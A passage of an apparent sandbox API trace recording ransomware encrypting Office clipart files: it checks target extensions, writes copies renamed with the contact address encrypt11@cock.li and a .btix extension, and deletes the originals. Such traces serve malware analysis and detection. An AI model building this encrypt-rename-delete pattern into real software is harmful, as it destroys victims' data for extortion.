returned 4 [0070.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.816] lstrlenW (lpString=".rar") returned 4 [0070.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.816] lstrlenW (lpString=".bz2") returned 4 [0070.816] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.816] lstrlenW (lpString=".7z") returned 3 [0070.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0070.816] lstrlenW (lpString=".dbf") returned 4 [0070.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0070.816] lstrlenW (lpString=".1cd") returned 4 [0070.816] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0070.816] lstrlenW (lpString=".jpg") returned 4 [0070.816] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.823] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.823] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0070.829] GetLastError () returned 0x0 [0070.829] ReadFile (in: hFile=0x308, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x3df0, lpOverlapped=0x0) returned 1 [0070.919] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x3e00, lpOverlapped=0x0) returned 1 [0070.920] ReadFile (in: hFile=0x308, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0070.920] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0070.920] SetEndOfFile (hFile=0x354) returned 1 [0070.920] CloseHandle (hObject=0x354) returned 1 [0070.920] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.920] SetEndOfFile (hFile=0x308) returned 1 [0070.921] CloseHandle (hObject=0x308) returned 1 [0070.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.921] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 1 [0070.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0070.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0070.933] lstrlenW (lpString=".doc") returned 4 [0070.933] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.933] lstrlenW (lpString=".docx") returned 5 [0070.933] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.934] lstrlenW (lpString=".pdf") returned 4 [0070.934] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.934] lstrlenW (lpString=".xls") returned 4 [0070.934] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.934] lstrlenW (lpString=".xlsx") returned 5 [0070.934] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.934] lstrlenW (lpString=".ppt") returned 4 [0070.934] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0070.934] lstrlenW (lpString=".zip") returned 4 [0070.934] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.934] lstrlenW (lpString=".rar") returned 4 [0070.934] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.934] lstrlenW (lpString=".bz2") returned 4 [0070.934] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.934] lstrlenW (lpString=".7z") returned 3 [0070.934] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0070.934] lstrlenW (lpString=".dbf") returned 4 [0070.934] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0070.934] lstrlenW (lpString=".1cd") returned 4 [0070.934] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0070.936] lstrlenW (lpString=".jpg") returned 4 [0070.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.942] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.943] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0070.960] GetLastError () returned 0x0 [0070.960] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x400c, lpOverlapped=0x0) returned 1 [0071.002] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x4010, lpOverlapped=0x0) returned 1 [0071.003] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0071.003] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0071.003] SetEndOfFile (hFile=0x354) returned 1 [0071.013] CloseHandle (hObject=0x354) returned 1 [0071.014] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.014] SetEndOfFile (hFile=0x318) returned 1 [0071.015] CloseHandle (hObject=0x318) returned 1 [0071.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 1 [0071.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0071.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0071.018] lstrlenW (lpString=".doc") returned 4 [0071.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.018] lstrlenW (lpString=".docx") returned 5 [0071.018] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.018] lstrlenW (lpString=".pdf") returned 4 [0071.018] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.018] lstrlenW (lpString=".xls") returned 4 [0071.018] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.018] lstrlenW (lpString=".xlsx") returned 5 [0071.018] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.018] lstrlenW (lpString=".ppt") returned 4 [0071.018] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0071.018] lstrlenW (lpString=".zip") returned 4 [0071.018] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.018] lstrlenW (lpString=".rar") returned 4 [0071.018] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.018] lstrlenW (lpString=".bz2") returned 4 [0071.018] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.018] lstrlenW (lpString=".7z") returned 3 [0071.018] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0071.018] lstrlenW (lpString=".dbf") returned 4 [0071.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0071.018] lstrlenW (lpString=".1cd") returned 4 [0071.018] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0071.018] lstrlenW (lpString=".jpg") returned 4 [0071.018] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.019] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.019] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0071.019] GetLastError () returned 0x0 [0071.019] ReadFile (in: hFile=0x308, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x13ea, lpOverlapped=0x0) returned 1 [0071.077] WriteFile (in: hFile=0x2d8, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x13f0, lpOverlapped=0x0) returned 1 [0071.078] ReadFile (in: hFile=0x308, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0071.078] WriteFile (in: hFile=0x2d8, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0071.078] SetEndOfFile (hFile=0x2d8) returned 1 [0071.078] CloseHandle (hObject=0x2d8) returned 1 [0071.078] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.078] SetEndOfFile (hFile=0x308) returned 1 [0071.079] CloseHandle (hObject=0x308) returned 1 [0071.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 1 [0071.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0071.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0071.082] lstrlenW (lpString=".doc") returned 4 [0071.082] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.082] lstrlenW (lpString=".docx") returned 5 [0071.082] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.082] lstrlenW (lpString=".pdf") returned 4 [0071.082] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.082] lstrlenW (lpString=".xls") returned 4 [0071.082] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.082] lstrlenW (lpString=".xlsx") returned 5 [0071.082] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.082] lstrlenW (lpString=".ppt") returned 4 [0071.082] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0071.082] lstrlenW (lpString=".zip") returned 4 [0071.082] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.083] lstrlenW (lpString=".rar") returned 4 [0071.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.083] lstrlenW (lpString=".bz2") returned 4 [0071.083] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.083] lstrlenW (lpString=".7z") returned 3 [0071.083] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0071.083] lstrlenW (lpString=".dbf") returned 4 [0071.083] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0071.083] lstrlenW (lpString=".1cd") returned 4 [0071.083] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0071.083] lstrlenW (lpString=".jpg") returned 4 [0071.083] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.168] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.168] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0071.274] GetLastError () returned 0x0 [0071.274] ReadFile (in: hFile=0x308, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x22de, lpOverlapped=0x0) returned 1 [0071.286] WriteFile (in: hFile=0x388, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x22e0, lpOverlapped=0x0) returned 1 [0071.287] ReadFile (in: hFile=0x308, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0071.287] WriteFile (in: hFile=0x388, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0071.287] SetEndOfFile (hFile=0x388) returned 1 [0071.288] CloseHandle (hObject=0x388) returned 1 [0071.290] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.290] SetEndOfFile (hFile=0x308) returned 1 [0071.291] CloseHandle (hObject=0x308) returned 1 [0071.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 1 [0071.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0071.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0071.291] lstrlenW (lpString=".doc") returned 4 [0071.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.291] lstrlenW (lpString=".docx") returned 5 [0071.291] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.292] lstrlenW (lpString=".pdf") returned 4 [0071.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.292] lstrlenW (lpString=".xls") returned 4 [0071.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.292] lstrlenW (lpString=".xlsx") returned 5 [0071.292] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.292] lstrlenW (lpString=".ppt") returned 4 [0071.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0071.292] lstrlenW (lpString=".zip") returned 4 [0071.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.292] lstrlenW (lpString=".rar") returned 4 [0071.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.292] lstrlenW (lpString=".bz2") returned 4 [0071.292] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.292] lstrlenW (lpString=".7z") returned 3 [0071.292] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0071.292] lstrlenW (lpString=".dbf") returned 4 [0071.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0071.292] lstrlenW (lpString=".1cd") returned 4 [0071.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0071.292] lstrlenW (lpString=".jpg") returned 4 [0071.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.296] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.296] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0071.300] GetLastError () returned 0x0 [0071.300] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x380, lpOverlapped=0x0) returned 1 [0071.306] WriteFile (in: hFile=0x3a4, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x390, lpOverlapped=0x0) returned 1 [0071.306] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0071.306] WriteFile (in: hFile=0x3a4, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0071.307] SetEndOfFile (hFile=0x3a4) returned 1 [0071.311] CloseHandle (hObject=0x3a4) returned 1 [0071.314] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.314] SetEndOfFile (hFile=0x318) returned 1 [0071.319] CloseHandle (hObject=0x318) returned 1 [0071.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.319] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 1 [0071.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0071.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0071.320] lstrlenW (lpString=".doc") returned 4 [0071.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.320] lstrlenW (lpString=".docx") returned 5 [0071.320] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.320] lstrlenW (lpString=".pdf") returned 4 [0071.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.320] lstrlenW (lpString=".xls") returned 4 [0071.320] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.320] lstrlenW (lpString=".xlsx") returned 5 [0071.320] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.320] lstrlenW (lpString=".ppt") returned 4 [0071.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0071.320] lstrlenW (lpString=".zip") returned 4 [0071.320] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.320] lstrlenW (lpString=".rar") returned 4 [0071.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.320] lstrlenW (lpString=".bz2") returned 4 [0071.320] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.320] lstrlenW (lpString=".7z") returned 3 [0071.320] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0071.320] lstrlenW (lpString=".dbf") returned 4 [0071.320] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0071.320] lstrlenW (lpString=".1cd") returned 4 [0071.320] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0071.320] lstrlenW (lpString=".jpg") returned 4 [0071.320] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.321] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.321] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0071.321] GetLastError () returned 0x0 [0071.321] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x3690, 